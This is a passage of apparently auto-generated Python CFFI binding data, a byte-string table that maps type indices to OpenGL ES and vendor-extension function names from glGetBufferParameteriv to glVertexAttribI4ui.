\x23glGetBufferParameteriv',0,b'\x00\x06\x8E\x23glGetBufferPointerv',0,b'\x00\x06\x8E\x23glGetBufferPointervOES',0,b'\x00\x00\xCD\x23glGetCoverageModulationTableNV',0,b'\x00\x00\x65\x23glGetDebugMessageLog',0,b'\x00\x00\x65\x23glGetDebugMessageLogKHR',0,b'\x00\x02\x7C\x23glGetDriverControlStringQCOM',0,b'\x00\x00\xC1\x23glGetDriverControlsQCOM',0,b'\x00\x00\x91\x23glGetError',0,b'\x00\x04\xF6\x23glGetFenceivNV',0,b'\x00\x01\xEA\x23glGetFirstPerfQueryIdINTEL',0,b'\x00\x04\xE7\x23glGetFloati_vNV',0,b'\x00\x04\xE7\x23glGetFloati_vOES',0,b'\x00\x01\xF5\x23glGetFloatv',0,b'\x00\x00\x08\x23glGetFragDataIndexEXT',0,b'\x00\x00\x08\x23glGetFragDataLocation',0,b'\x00\x05\xD9\x23glGetFramebufferAttachmentParameteriv',0,b'\x00\x04\xF6\x23glGetFramebufferParameteriv',0,b'\x00\x00\x05\x23glGetFramebufferPixelLocalStorageSizeEXT',0,b'\x00\x00\x91\x23glGetGraphicsResetStatus',0,b'\x00\x00\x91\x23glGetGraphicsResetStatusEXT',0,b'\x00\x00\x91\x23glGetGraphicsResetStatusKHR',0,b'\x00\x00\x18\x23glGetImageHandleNV',0,b'\x00\x05\x8F\x23glGetInteger64i_v',0,b'\x00\x04\x9C\x23glGetInteger64v',0,b'\x00\x04\x9C\x23glGetInteger64vAPPLE',0,b'\x00\x04\xF6\x23glGetIntegeri_v',0,b'\x00\x04\xF6\x23glGetIntegeri_vEXT',0,b'\x00\x02\x13\x23glGetIntegerv',0,b'\x00\x05\x69\x23glGetInternalformatSampleivNV',0,b'\x00\x05\xED\x23glGetInternalformativ',0,b'\x00\x04\xE7\x23glGetMultisamplefv',0,b'\x00\x04\xC7\x23glGetNextPerfQueryIdINTEL',0,b'\x00\x05\x17\x23glGetObjectLabel',0,b'\x00\x05\x17\x23glGetObjectLabelEXT',0,b'\x00\x05\x17\x23glGetObjectLabelKHR',0,b'\x00\x06\xD3\x23glGetObjectPtrLabel',0,b'\x00\x06\xD3\x23glGetObjectPtrLabelKHR',0,b'\x00\x04\xE7\x23glGetPathColorGenfvNV',0,b'\x00\x04\xF6\x23glGetPathColorGenivNV',0,b'\x00\x04\xB1\x23glGetPathCommandsNV',0,b'\x00\x01\xF5\x23glGetPathCoordsNV',0,b'\x00\x01\xF5\x23glGetPathDashArrayNV',0,b'\x00\x00\x00\x23glGetPathLengthNV',0,b'\x00\x05\x2D\x23glGetPathMetricRangeNV',0,b'\x00\x04\x93\x23glGetPathMetricsNV',0,b'\x00\x04\xE7\x23glGetPathParameterfvNV',0,b'\x00\x04\xF6\x23glGetPathParameterivNV',0,b'\x00\x04\x88\x23glGetPathSpacingNV',0,b'\x00\x04\xE7\x23glGetPathTexGenfvNV',0,b'\x00\x04\xF6\x23glGetPathTexGenivNV',0,b'\x00\x05\xBA\x23glGetPerfCounterInfoINTEL',0,b'\x00\x05\x4E\x23glGetPerfMonitorCounterDataAMD',0,b'\x00\x06\x88\x23glGetPerfMonitorCounterInfoAMD',0,b'\x00\x05\x17\x23glGetPerfMonitorCounterStringAMD',0,b'\x00\x02\x17\x23glGetPerfMonitorCountersAMD',0,b'\x00\x02\x7C\x23glGetPerfMonitorGroupStringAMD',0,b'\x00\x00\xC1\x23glGetPerfMonitorGroupsAMD',0,b'\x00\x05\x82\x23glGetPerfQueryDataINTEL',0,b'\x00\x00\x9D\x23glGetPerfQueryIdByNameINTEL',0,b'\x00\x04\xD9\x23glGetPerfQueryInfoINTEL',0,b'\x00\x06\xBC\x23glGetPointerv',0,b'\x00\x06\xBC\x23glGetPointervKHR',0,b'\x00\x02\x88\x23glGetProgramBinary',0,b'\x00\x02\x88\x23glGetProgramBinaryOES',0,b'\x00\x02\x7C\x23glGetProgramInfoLog',0,b'\x00\x05\xD9\x23glGetProgramInterfaceiv',0,b'\x00\x02\x7C\x23glGetProgramPipelineInfoLog',0,b'\x00\x02\x7C\x23glGetProgramPipelineInfoLogEXT',0,b'\x00\x04\xF6\x23glGetProgramPipelineiv',0,b'\x00\x04\xF6\x23glGetProgramPipelineivEXT',0,b'\x00\x00\x6F\x23glGetProgramResourceIndex',0,b'\x00\x00\x0C\x23glGetProgramResourceLocation',0,b'\x00\x00\x0C\x23glGetProgramResourceLocationIndexEXT',0,b'\x00\x05\xF4\x23glGetProgramResourceName',0,b'\x00\x06\x14\x23glGetProgramResourcefvNV',0,b'\x00\x06\x1E\x23glGetProgramResourceiv',0,b'\x00\x04\xF6\x23glGetProgramiv',0,b'\x00\x05\x8F\x23glGetQueryObjecti64vEXT',0,b'\x00\x04\xF6\x23glGetQueryObjectivEXT',0,b'\x00\x05\xA1\x23glGetQueryObjectui64vEXT',0,b'\x00\x05\xAB\x23glGetQueryObjectuiv',0,b'\x00\x05\xAB\x23glGetQueryObjectuivEXT',0,b'\x00\x04\xF6\x23glGetQueryiv',0,b'\x00\x04\xF6\x23glGetQueryivEXT',0,b'\x00\x04\xF6\x23glGetRenderbufferParameteriv',0,b'\x00\x04\xF6\x23glGetSamplerParameterIiv',0,b'\x00\x04\xF6\x23glGetSamplerParameterIivEXT',0,b'\x00\x04\xF6\x23glGetSamplerParameterIivOES',0,b'\x00\x05\xAB\x23glGetSamplerParameterIuiv',0,b'\x00\x05\xAB\x23glGetSamplerParameterIuivEXT',0,b'\x00\x05\xAB\x23glGetSamplerParameterIuivOES',0,b'\x00\x04\xE7\x23glGetSamplerParameterfv',0,b'\x00\x04\xF6\x23glGetSamplerParameteriv',0,b'\x00\x02\x7C\x23glGetShaderInfoLog',0,b'\x00\x04\xFB\x23glGetShaderPrecisionFormat',0,b'\x00\x02\x7C\x23glGetShaderSource',0,b'\x00\x04\xF6\x23glGetShaderiv',0,b'\x00\x00\x23\x23glGetString',0,b'\x00\x00\x26\x23glGetStringi',0,b'\x00\x01\xCE\x23glGetSynciv',0,b'\x00\x01\xCE\x23glGetSyncivAPPLE',0,b'\x00\x03\xCC\x23glGetTexLevelParameterfv',0,b'\x00\x03\xD2\x23glGetTexLevelParameteriv',0,b'\x00\x04\xF6\x23glGetTexParameterIiv',0,b'\x00\x04\xF6\x23glGetTexParameterIivEXT',0,b'\x00\x04\xF6\x23glGetTexParameterIivOES',0,b'\x00\x05\xAB\x23glGetTexParameterIuiv',0,b'\x00\x05\xAB\x23glGetTexParameterIuivEXT',0,b'\x00\x05\xAB\x23glGetTexParameterIuivOES',0,b'\x00\x04\xE7\x23glGetTexParameterfv',0,b'\x00\x04\xF6\x23glGetTexParameteriv',0,b'\x00\x00\x15\x23glGetTextureHandleIMG',0,b'\x00\x00\x15\x23glGetTextureHandleNV',0,b'\x00\x00\x1F\x23glGetTextureSamplerHandleIMG',0,b'\x00\x00\x1F\x23glGetTextureSamplerHandleNV',0,b'\x00\x05\x1E\x23glGetTransformFeedbackVarying',0,b'\x00\x02\x7C\x23glGetTranslatedShaderSourceANGLE',0,b'\x00\x00\x57\x23glGetUniformBlockIndex',0,b'\x00\x02\x41\x23glGetUniformIndices',0,b'\x00\x00\x08\x23glGetUniformLocation',0,b'\x00\x02\x4D\x23glGetUniformfv',0,b'\x00\x03\x66\x23glGetUniformi64vNV',0,b'\x00\x02\x77\x23glGetUniformiv',0,b'\x00\x03\xA7\x23glGetUniformuiv',0,b'\x00\x04\xF6\x23glGetVertexAttribIiv',0,b'\x00\x05\xAB\x23glGetVertexAttribIuiv',0,b'\x00\x06\x8E\x23glGetVertexAttribPointerv',0,b'\x00\x04\xE7\x23glGetVertexAttribfv',0,b'\x00\x04\xF6\x23glGetVertexAttribiv',0,b'\x00\x02\x99\x23glGetnUniformfv',0,b'\x00\x02\x99\x23glGetnUniformfvEXT',0,b'\x00\x02\x99\x23glGetnUniformfvKHR',0,b'\x00\x02\xA5\x23glGetnUniformiv',0,b'\x00\x02\xA5\x23glGetnUniformivEXT',0,b'\x00\x02\xA5\x23glGetnUniformivKHR',0,b'\x00\x03\x53\x23glGetnUniformuiv',0,b'\x00\x03\x53\x23glGetnUniformuivKHR',0,b'\x00\x04\xCF\x23glHint',0,b'\x00\x00\xC9\x23glInsertEventMarkerEXT',0,b'\x00\x05\xD3\x23glInterpolatePathsNV',0,b'\x00\x03\xAC\x23glInvalidateFramebuffer',0,b'\x00\x03\xB7\x23glInvalidateSubFramebuffer',0,b'\x00\x00\x30\x23glIsBuffer',0,b'\x00\x00\x30\x23glIsEnabled',0,b'\x00\x00\x42\x23glIsEnabledi',0,b'\x00\x00\x42\x23glIsEnablediEXT',0,b'\x00\x00\x42\x23glIsEnablediNV',0,b'\x00\x00\x42\x23glIsEnablediOES',0,b'\x00\x00\x30\x23glIsFenceNV',0,b'\x00\x00\x30\x23glIsFramebuffer',0,b'\x00\x00\x2D\x23glIsImageHandleResidentNV',0,b'\x00\x00\x30\x23glIsPathNV',0,b'\x00\x00\x46\x23glIsPointInFillPathNV',0,b'\x00\x00\x33\x23glIsPointInStrokePathNV',0,b'\x00\x00\x30\x23glIsProgram',0,b'\x00\x00\x30\x23glIsProgramPipeline',0,b'\x00\x00\x30\x23glIsProgramPipelineEXT',0,b'\x00\x00\x30\x23glIsQuery',0,b'\x00\x00\x30\x23glIsQueryEXT',0,b'\x00\x00\x30\x23glIsRenderbuffer',0,b'\x00\x00\x30\x23glIsSampler',0,b'\x00\x00\x30\x23glIsShader',0,b'\x00\x00\x2A\x23glIsSync',0,b'\x00\x00\x2A\x23glIsSyncAPPLE',0,b'\x00\x00\x30\x23glIsTexture',0,b'\x00\x00\x2D\x23glIsTextureHandleResidentNV',0,b'\x00\x00\x30\x23glIsTransformFeedback',0,b'\x00\x00\x30\x23glIsVertexArray',0,b'\x00\x00\x30\x23glIsVertexArrayOES',0,b'\x00\x05\x0B\x23glLabelObjectEXT',0,b'\x00\x00\xA1\x23glLineWidth',0,b'\x00\x01\xF2\x23glLinkProgram',0,b'\x00\x01\xDA\x23glMakeImageHandleNonResidentNV',0,b'\x00\x01\xDD\x23glMakeImageHandleResidentNV',0,b'\x00\x01\xDA\x23glMakeTextureHandleNonResidentNV',0,b'\x00\x01\xDA\x23glMakeTextureHandleResidentNV',0,b'\x00\x00\x99\x23glMapBufferOES',0,b'\x00\x00\x93\x23glMapBufferRange',0,b'\x00\x00\x93\x23glMapBufferRangeEXT',0,b'\x00\x01\xF9\x23glMatrixLoad3x2fNV',0,b'\x00\x01\xF9\x23glMatrixLoad3x3fNV',0,b'\x00\x01\xF9\x23glMatrixLoadTranspose3x3fNV',0,b'\x00\x01\xF9\x23glMatrixMult3x2fNV',0,b'\x00\x01\xF9\x23glMatrixMult3x3fNV',0,b'\x00\x01\xF9\x23glMatrixMultTranspose3x3fNV',0,b'\x00\x01\xF2\x23glMemoryBarrier',0,b'\x00\x01\xF2\x23glMemoryBarrierByRegion',0,b'\x00\x00\xA1\x23glMinSampleShading',0,b'\x00\x00\xA1\x23glMinSampleShadingOES',0,b'\x00\x02\x22\x23glMultiDrawArraysEXT',0,b'\x00\x06\xC8\x23glMultiDrawArraysIndirectEXT',0,b'\x00\x02\x2F\x23glMultiDrawElementsBaseVertexEXT',0,b'\x00\x02\x2F\x23glMultiDrawElementsBaseVertexOES',0,b'\x00\x02\x28\x23glMultiDrawElementsEXT',0,b'\x00\x06\x9E\x23glMultiDrawElementsIndirectEXT',0,b'\x00\x05\x11\x23glNamedFramebufferSampleLocationsfvNV',0,b'\x00\x05\x0B\x23glObjectLabel',0,b'\x00\x05\x0B\x23glObjectLabelKHR',0,b'\x00\x06\xCE\x23glObjectPtrLabel',0,b'\x00\x06\xCE\x23glObjectPtrLabelKHR',0,b'\x00\x02\x37\x23glPatchParameteri',0,b'\x00\x02\x37\x23glPatchParameteriEXT',0,b'\x00\x02\x37\x23glPatchParameteriOES',0,b'\x00\x05\xCD\x23glPathColorGenNV',0,b'\x00\x03\x9F\x23glPathCommandsNV',0,b'\x00\x04\x62\x23glPathCoordsNV',0,b'\x00\x01\xF2\x23glPathCoverDepthFuncNV',0,b'\x00\x02\x52\x23glPathDashArrayNV',0,b'\x00\x01\xF2\x23glPathFogGenNV',0,b'\x00\x00\x7F\x23glPathGlyphIndexArrayNV',0,b'\x00\x00\x89\x23glPathGlyphIndexRangeNV',0,b'\x00\x06\xB1\x23glPathGlyphRangeNV',0,b'\x00\x06\xA5\x23glPathGlyphsNV',0,b'\x00\x00\x74\x23glPathMemoryGlyphIndexArrayNV',0,b'\x00\x04\xF1\x23glPathParameterfNV',0,b'\x00\x04\xEC\x23glPathParameterfvNV',0,b'\x00\x05\x06\x23glPathParameteriNV',0,b'\x00\x05\x01\x23glPathParameterivNV',0,b'\x00\x00\xA4\x23glPathStencilDepthOffsetNV',0,b'\x00\x03\xC7\x23glPathStencilFuncNV',0,b'\x00\x05\x89\x23glPathStringNV',0,b'\x00\x03\x2F\x23glPathSubCommandsNV',0,b'\x00\x03\x5F\x23glPathSubCoordsNV',0,b'\x00\x05\x11\x23glPathTexGenNV',0,b'\x00\x06\xDD\x23glPauseTransformFeedback',0,b'\x00\x02\x37\x23glPixelStorei',0,b'\x00\x00\x38\x23glPointAlongPathNV',0,b'\x00\x04\xCF\x23glPolygonModeNV',0,b'\x00\x00\xA4\x23glPolygonOffset',0,b'\x00\x00\xA8\x23glPolygonOffsetClampEXT',0,b'\x00\x06\xDD\x23glPopDebugGroup',0,b'\x00\x06\xDD\x23glPopDebugGroupKHR',0,b'\x00\x06\xDD\x23glPopGroupMarkerEXT',0,b'\x00\x00\xB3\x23glPrimitiveBoundingBox',0,b'\x00\x00\xB3\x23glPrimitiveBoundingBoxEXT',0,b'\x00\x00\xB3\x23glPrimitiveBoundingBoxOES',0,b'\x00\x06\x98\x23glProgramBinary',0,b'\x00\x06\x98\x23glProgramBinaryOES',0,b'\x00\x05\x06\x23glProgramParameteri',0,b'\x00\x05\x06\x23glProgramParameteriEXT',0,b'\x00\x03\xDE\x23glProgramPathFragmentInputGenNV',0,b'\x00\x02\x57\x23glProgramUniform1f',0,b'\x00\x02\x57\x23glProgramUniform1fEXT',0,b'\x00\x02\x9F\x23glProgramUniform1fv',0,b'\x00\x02\x9F\x23glProgramUniform1fvEXT',0,b'\x00\x02\x94\x23glProgramUniform1i',0,b'\x00\x03\x6B\x23glProgramUniform1i64NV',0,b'\x00\x03\x40\x23glProgramUniform1i64vNV',0,b'\x00\x02\x94\x23glProgramUniform1iEXT',0,b'\x00\x02\xAB\x23glProgramUniform1iv',0,b'\x00\x02\xAB\x23glProgramUniform1ivEXT',0,b'\x00\x03\xC7\x23glProgramUniform1ui',0,b'\x00\x03\x85\x23glProgramUniform1ui64NV',0,b'\x00\x03\x46\x23glProgramUniform1ui64vNV',0,b'\x00\x03\xC7\x23glProgramUniform1uiEXT',0,b'\x00\x03\x59\x23glProgramUniform1uiv',0,b'\x00\x03\x59\x23glProgramUniform1uivEXT',0,b'\x00\x02\x5C\x23glProgramUniform2f',0,b'\x00\x02\x5C\x23glProgramUniform2fEXT',0,b'\x00\x02\x9F\x23glProgramUniform2fv',0,b'\x00\x02\x9F\x23glProgramUniform2fvEXT',0,b'\x00\x02\xB1\x23glProgramUniform2i',0,b'\x00\x03\x70\x23glProgramUniform2i64NV',0,b'\x00\x03\x40\x23glProgramUniform2i64vNV',0,b'\x00\x02\xB1\x23glProgramUniform2iEXT',0,b'\x00\x02\xAB\x23glProgramUniform2iv',0,b'\x00\x02\xAB\x23glProgramUniform2ivEXT',0,b'\x00\x04\x46\x23glProgramUniform2ui',0,b'\x00\x03\x8A\x23glProgramUniform2ui64NV',0,b'\x00\x03\x46\x23glProgramUniform2ui64vNV',0,b'\x00\x04\x46\x23glProgramUniform2uiEXT',0,b'\x00\x03\x59\x23glProgramUniform2uiv',0,b'\x00\x03\x59\x23glProgramUniform2uivEXT',0,b'\x00\x02\x62\x23glProgramUniform3f',0,b'\x00\x02\x62\x23glProgramUniform3fEXT',0,b'\x00\x02\x9F\x23glProgramUniform3fv',0,b'\x00\x02\x9F\x23glProgramUniform3fvEXT',0,b'\x00\x02\xB7\x23glProgramUniform3i',0,b'\x00\x03\x76\x23glProgramUniform3i64NV',0,b'\x00\x03\x40\x23glProgramUniform3i64vNV',0,b'\x00\x02\xB7\x23glProgramUniform3iEXT',0,b'\x00\x02\xAB\x23glProgramUniform3iv',0,b'\x00\x02\xAB\x23glProgramUniform3ivEXT',0,b'\x00\x04\x4C\x23glProgramUniform3ui',0,b'\x00\x03\x90\x23glProgramUniform3ui64NV',0,b'\x00\x03\x46\x23glProgramUniform3ui64vNV',0,b'\x00\x04\x4C\x23glProgramUniform3uiEXT',0,b'\x00\x03\x59\x23glProgramUniform3uiv',0,b'\x00\x03\x59\x23glProgramUniform3uivEXT',0,b'\x00\x02\x69\x23glProgramUniform4f',0,b'\x00\x02\x69\x23glProgramUniform4fEXT',0,b'\x00\x02\x9F\x23glProgramUniform4fv',0,b'\x00\x02\x9F\x23glProgramUniform4fvEXT',0,b'\x00\x02\xBE\x23glProgramUniform4i',0,b'\x00\x03\x7D\x23glProgramUniform4i64NV',0,b'\x00\x03\x40\x23glProgramUniform4i64vNV',0,b'\x00\x02\xBE\x23glProgramUniform4iEXT',0,b'\x00\x02\xAB\x23glProgramUniform4iv',0,b'\x00\x02\xAB\x23glProgramUniform4ivEXT',0,b'\x00\x04\x53\x23glProgramUniform4ui',0,b'\x00\x03\x97\x23glProgramUniform4ui64NV',0,b'\x00\x03\x46\x23glProgramUniform4ui64vNV',0,b'\x00\x04\x53\x23glProgramUniform4uiEXT',0,b'\x00\x03\x59\x23glProgramUniform4uiv',0,b'\x00\x03\x59\x23glProgramUniform4uivEXT',0,b'\x00\x03\x85\x23glProgramUniformHandleui64IMG',0,b'\x00\x03\x85\x23glProgramUniformHandleui64NV',0,b'\x00\x03\x46\x23glProgramUniformHandleui64vIMG',0,b'\x00\x03\x46\x23glProgramUniformHandleui64vNV',0,b'\x00\x03\x4C\x23glProgramUniformMatrix2fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix2fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix2x3fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix2x3fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix2x4fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix2x4fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix3fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix3fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix3x2fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix3x2fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix3x4fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix3x4fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix4fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix4fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix4x2fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix4x2fvEXT',0,b'\x00\x03\x4C\x23glProgramUniformMatrix4x3fv',0,b'\x00\x03\x4C\x23glProgramUniformMatrix4x3fvEXT',0,b'\x00\x05\x0B\x23glPushDebugGroup',0,b'\x00\x05\x0B\x23glPushDebugGroupKHR',0,b'\x00\x00\xC9\x23glPushGroupMarkerEXT',0,b'\x00\x04\xCF\x23glQueryCounterEXT',0,b'\x00\x04\xB5\x23glRasterSamplesEXT',0,b'\x00\x01\xF2\x23glReadBuffer',0,b'\x00\x02\x37\x23glReadBufferIndexedEXT',0,b'\x00\x01\xF2\x23glReadBufferNV',0,b'\x00\x01\x21\x23glReadPixels',0,b'\x00\x01\x17\x23glReadnPixels',0,b'\x00\x01\x17\x23glReadnPixelsEXT',0,b'\x00\x01\x17\x23glReadnPixelsKHR',0,b'\x00\x06\xDD\x23glReleaseShaderCompiler',0,b'\x00\x05\x27\x23glRenderbufferStorage',0,b'\x00\x03\xE5\x23glRenderbufferStorageMultisample',0,b'\x00\x03\xE5\x23glRenderbufferStorageMultisampleANGLE',0,b'\x00\x03\xE5\x23glRenderbufferStorageMultisampleAPPLE',0,b'\x00\x03\xE5\x23glRenderbufferStorageMultisampleEXT',0,b'\x00\x03\xE5\x23glRenderbufferStorageMultisampleIMG',0,b'\x00\x03\xE5\x23glRenderbufferStorageMultisampleNV',0,b'\x00\x06\xDD\x23glResolveDepthValuesNV',0,b'\x00\x06\xDD\x23glResolveMultisampleFramebufferAPPLE',0,b'\x00\x06\xDD\x23glResumeTransformFeedback',0,b'\x00\x00\xBD\x23glSampleCoverage',0,b'\x00\x04\xCF\x23glSampleMaski',0,b'\x00\x05\x01\x23glSamplerParameterIiv',0,b'\x00\x05\x01\x23glSamplerParameterIivEXT',0,b'\x00\x05\x01\x23glSamplerParameterIivOES',0,b'\x00\x05\xB0\x23glSamplerParameterIuiv',0,b'\x00\x05\xB0\x23glSamplerParameterIuivEXT',0,b'\x00\x05\xB0\x23glSamplerParameterIuivOES',0,b'\x00\x04\xF1\x23glSamplerParameterf',0,b'\x00\x04\xEC\x23glSamplerParameterfv',0,b'\x00\x05\x06\x23glSamplerParameteri',0,b'\x00\x05\x01\x23glSamplerParameteriv',0,b'\x00\x00\xFE\x23glScissor',0,b'\x00\x02\x8F\x23glScissorArrayvNV',0,b'\x00\x02\x8F\x23glScissorArrayvOES',0,b'\x00\x02\xB7\x23glScissorIndexedNV',0,b'\x00\x02\xB7\x23glScissorIndexedOES',0,b'\x00\x02\x1E\x23glScissorIndexedvNV',0,b'\x00\x02\x1E\x23glScissorIndexedvOES',0,b'\x00\x04\xC0\x23glSelectPerfMonitorCountersAMD',0,b'\x00\x04\xCF\x23glSetFenceNV',0,b'\x00\x01\x78\x23glShaderBinary',0,b'\x00\x02\x3B\x23glShaderSource',0,b'\x00\x06\x77\x23glStartTilingQCOM',0,b'\x00\x01\xB3\x23glStencilFillPathInstancedNV',0,b'\x00\x05\xB5\x23glStencilFillPathNV',0,b'\x00\x03\xC7\x23glStencilFunc',0,b'\x00\x05\x55\x23glStencilFuncSeparate',0,b'\x00\x01\xF2\x23glStencilMask',0,b'\x00\x04\xCF\x23glStencilMaskSeparate',0,b'\x00\x05\xB5\x23glStencilOp',0,b'\x00\x06\x48\x23glStencilOpSeparate',0,b'\x00\x01\x95\x23glStencilStrokePathInstancedNV',0,b'\x00\x03\xC7\x23glStencilStrokePathNV',0,b'\x00\x01\xBD\x23glStencilThenCoverFillPathInstancedNV',0,b'\x00\x06\x48\x23glStencilThenCoverFillPathNV',0,b'\x00\x01\x9F\x23glStencilThenCoverStrokePathInstancedNV',0,b'\x00\x04\x46\x23glStencilThenCoverStrokePathNV',0,b'\x00\x04\xCF\x23glSubpixelPrecisionBiasNV',0,b'\x00\x00\x30\x23glTestFenceNV',0,b'\x00\x05\xB5\x23glTexBuffer',0,b'\x00\x05\xB5\x23glTexBufferEXT',0,b'\x00\x05\xB5\x23glTexBufferOES',0,b'\x00\x06\x41\x23glTexBufferRange',0,b'\x00\x06\x41\x23glTexBufferRangeEXT',0,b'\x00\x06\x41\x23glTexBufferRangeOES',0,b'\x00\x03\x24\x23glTexImage2D',0,b'\x00\x03\x0D\x23glTexImage3D',0,b'\x00\x04\x09\x23glTexImage3DOES',0,b'\x00\x02\xDB\x23glTexPageCommitmentEXT',0,b'\x00\x05\x01\x23glTexParameterIiv',0,b'\x00\x05\x01\x23glTexParameterIivEXT',0,b'\x00\x05\x01\x23glTexParameterIivOES',0,b'\x00\x05\xB0\x23glTexParameterIuiv',0,b'\x00\x05\xB0\x23glTexParameterIuivEXT',0,b'\x00\x05\xB0\x23glTexParameterIuivOES',0,b'\x00\x04\xF1\x23glTexParameterf',0,b'\x00\x04\xEC\x23glTexParameterfv',0,b'\x00\x05\x06\x23glTexParameteri',0,b'\x00\x05\x01\x23glTexParameteriv',0,b'\x00\x03\xD8\x23glTexStorage1DEXT',0,b'\x00\x03\xE5\x23glTexStorage2D',0,b'\x00\x03\xE5\x23glTexStorage2DEXT',0,b'\x00\x04\x28\x23glTexStorage2DMultisample',0,b'\x00\x03\xEC\x23glTexStorage3D',0,b'\x00\x03\xEC\x23glTexStorage3DEXT',0,b'\x00\x04\x1F\x23glTexStorage3DMultisample',0,b'\x00\x04\x1F\x23glTexStorage3DMultisampleOES',0,b'\x00\x03\x24\x23glTexSubImage2D',0,b'\x00\x03\x00\x23glTexSubImage3D',0,b'\x00\x03\x00\x23glTexSubImage3DOES',0,b'\x00\x05\x62\x23glTextureStorage1DEXT',0,b'\x00\x05\x71\x23glTextureStorage2DEXT',0,b'\x00\x05\x79\x23glTextureStorage3DEXT',0,b'\x00\x06\x7E\x23glTextureViewEXT',0,b'\x00\x06\x7E\x23glTextureViewOES',0,b'\x00\x02\x47\x23glTransformFeedbackVaryings',0,b'\x00\x05\xCD\x23glTransformPathNV',0,b'\x00\x00\xD5\x23glUniform1f',0,b'\x00\x00\xEF\x23glUniform1fv',0,b'\x00\x00\xEB\x23glUniform1i',0,b'\x00\x01\x3F\x23glUniform1i64NV',0,b'\x00\x01\x2A\x23glUniform1i64vNV',0,b'\x00\x00\xF4\x23glUniform1iv',0,b'\x00\x01\x7F\x23glUniform1ui',0,b'\x00\x01\x55\x23glUniform1ui64NV',0,b'\x00\x01\x2F\x23glUniform1ui64vNV',0,b'\x00\x01\x3A\x23glUniform1uiv',0,b'\x00\x00\xD9\x23glUniform2f',0,b'\x00\x00\xEF\x23glUniform2fv',0,b'\x00\x00\xF9\x23glUniform2i',0,b'\x00\x01\x43\x23glUniform2i64NV',0,b'\x00\x01\x2A\x23glUniform2i64vNV',0,b'\x00\x00\xF4\x23glUniform2iv',0,b'\x00\x01\x83\x23glUniform2ui',0,b'\x00\x01\x59\x23glUniform2ui64NV',0,b'\x00\x01\x2F\x23glUniform2ui64vNV',0,b'\x00\x01\x3A\x23glUniform2uiv',0,b'\x00\x00\xDE\x23glUniform3f',0,b'\x00\x00\xEF\x23glUniform3fv',0,b'\x00\x00\xFE\x23glUniform3i',0,b'\x00\x01\x48\x23glUniform3i64NV',0,b'\x00\x01\x2A\x23glUniform3i64vNV',0,b'\x00\x00\xF4\x23glUniform3iv',0,b'\x00\x01\x88\x23glUniform3ui',0,b'\x00\x01\x5E\x23glUniform3ui64NV',0,b'\x00\x01\x2F\x23glUniform3ui64vNV',0,b'\x00\x01\x3A\x23glUniform3uiv',0,b'\x00\x00\xE4\x23glUniform4f',0,b'\x00\x00\xEF\x23glUniform4fv',0,b'\x00\x01\x04\x23glUniform4i',0,b'\x00\x01\x4E\x23glUniform4i64NV',0,b'\x00\x01\x2A\x23glUniform4i64vNV',0,b'\x00\x00\xF4\x23glUniform4iv',0,b'\x00\x01\x8E\x23glUniform4ui',0,b'\x00\x01\x64\x23glUniform4ui64NV',0,b'\x00\x01\x2F\x23glUniform4ui64vNV',0,b'\x00\x01\x3A\x23glUniform4uiv',0,b'\x00\x05\xB5\x23glUniformBlockBinding',0,b'\x00\x01\x55\x23glUniformHandleui64IMG',0,b'\x00\x01\x55\x23glUniformHandleui64NV',0,b'\x00\x01\x2F\x23glUniformHandleui64vIMG',0,b'\x00\x01\x2F\x23glUniformHandleui64vNV',0,b'\x00\x01\x34\x23glUniformMatrix2fv',0,b'\x00\x01\x34\x23glUniformMatrix2x3fv',0,b'\x00\x01\x34\x23glUniformMatrix2x3fvNV',0,b'\x00\x01\x34\x23glUniformMatrix2x4fv',0,b'\x00\x01\x34\x23glUniformMatrix2x4fvNV',0,b'\x00\x01\x34\x23glUniformMatrix3fv',0,b'\x00\x01\x34\x23glUniformMatrix3x2fv',0,b'\x00\x01\x34\x23glUniformMatrix3x2fvNV',0,b'\x00\x01\x34\x23glUniformMatrix3x4fv',0,b'\x00\x01\x34\x23glUniformMatrix3x4fvNV',0,b'\x00\x01\x34\x23glUniformMatrix4fv',0,b'\x00\x01\x34\x23glUniformMatrix4x2fv',0,b'\x00\x01\x34\x23glUniformMatrix4x2fvNV',0,b'\x00\x01\x34\x23glUniformMatrix4x3fv',0,b'\x00\x01\x34\x23glUniformMatrix4x3fvNV',0,b'\x00\x00\x30\x23glUnmapBuffer',0,b'\x00\x00\x30\x23glUnmapBufferOES',0,b'\x00\x01\xF2\x23glUseProgram',0,b'\x00\x05\xB5\x23glUseProgramStages',0,b'\x00\x05\xB5\x23glUseProgramStagesEXT',0,b'\x00\x04\xCF\x23glUseShaderProgramEXT',0,b'\x00\x01\xF2\x23glValidateProgram',0,b'\x00\x01\xF2\x23glValidateProgramPipeline',0,b'\x00\x01\xF2\x23glValidateProgramPipelineEXT',0,b'\x00\x01\xFD\x23glVertexAttrib1f',0,b'\x00\x01\xF9\x23glVertexAttrib1fv',0,b'\x00\x02\x01\x23glVertexAttrib2f',0,b'\x00\x01\xF9\x23glVertexAttrib2fv',0,b'\x00\x02\x06\x23glVertexAttrib3f',0,b'\x00\x01\xF9\x23glVertexAttrib3fv',0,b'\x00\x02\x0C\x23glVertexAttrib4f',0,b'\x00\x01\xF9\x23glVertexAttrib4fv',0,b'\x00\x04\xCF\x23glVertexAttribBinding',0,b'\x00\x04\xCF\x23glVertexAttribDivisor',0,b'\x00\x04\xCF\x23glVertexAttribDivisorANGLE',0,b'\x00\x04\xCF\x23glVertexAttribDivisorEXT',0,b'\x00\x04\xCF\x23glVertexAttribDivisorNV',0,b'\x00\x04\x3F\x23glVertexAttribFormat',0,b'\x00\x02\xB7\x23glVertexAttribI4i',0,b'\x00\x02\x1E\x23glVertexAttribI4iv',0,b'\x00\x06\x77\x23glVertexAttribI4ui',0,b'\x00\x04\xCB\x23glVertexAttribI4u